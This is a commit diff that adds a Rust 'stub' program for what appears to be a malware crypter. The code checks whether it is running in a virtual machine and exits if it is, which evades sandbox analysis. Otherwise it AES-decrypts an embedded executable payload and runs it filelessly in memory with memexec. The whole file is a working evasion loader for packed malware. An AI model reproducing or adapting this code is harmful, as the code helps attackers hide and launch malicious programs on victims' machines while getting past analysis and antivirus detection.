Added projects

contains "crypt" and "stub"

stub/src/main.rs

@@ -0,0 +1,52 @@
+use aes::Aes128;
+use aes::cipher::{BlockDecrypt, KeyInit,
+    generic_array::GenericArray,
+};
+use inside_vm::inside_vm;
+use std::io::{Read, Cursor};
+use std::io::Result;
+
+
+fn main(){
+    if inside_vm(){
+        println!("This is in a vm");
+        std::process::exit(0);
+    } else {
+        println!("NO VM");
+        let pe_bytes = decrypt_file().unwrap();
+        fileless(pe_bytes);
+    }
+}
+
+fn decrypt_file() -> Result<Vec<u8>> {
+    // Read encrypted bytes and store bytes of key :3
+    let encrypted_bytes = include_bytes!("encrypted_Input.bin");
+    let mut key_bytes: [u8; 16] = [0; 16];
+    let mut key_file = Cursor::new(include_bytes!("key.txt"));
+    key_file.read_exact(&mut key_bytes)?;
+
+    // Gen cipher with the key B-)
+    let key = GenericArray::from(key_bytes);
+    let cipher = Aes128::new(&key);
+
+    // Decrypt the encrypted bytes in blocks 
+    let mut decrypted_bytes = Vec::new();
+    for block in encrypted_bytes.chunks(16) {
+        let mut block_array = GenericArray::clone_from_slice(block);
+        cipher.decrypt_block(&mut block_array);
+        decrypted_bytes.extend_from_slice(&block_array);
+    }
+
+    // Unpad the decrypted bytes
+    let padding_size = decrypted_bytes.last().unwrap().clone() as usize;
+    let decrypted_bytes = (&decrypted_bytes[..decrypted_bytes.len() - padding_size]).to_vec();
+    
+    // return decrypted bytes
+    Ok(decrypted_bytes, )
+}
+
+fn fileless(bytes: Vec<u8>){
+    unsafe {
+        memexec::memexec_exe(&bytes).unwrap();
+    }
+}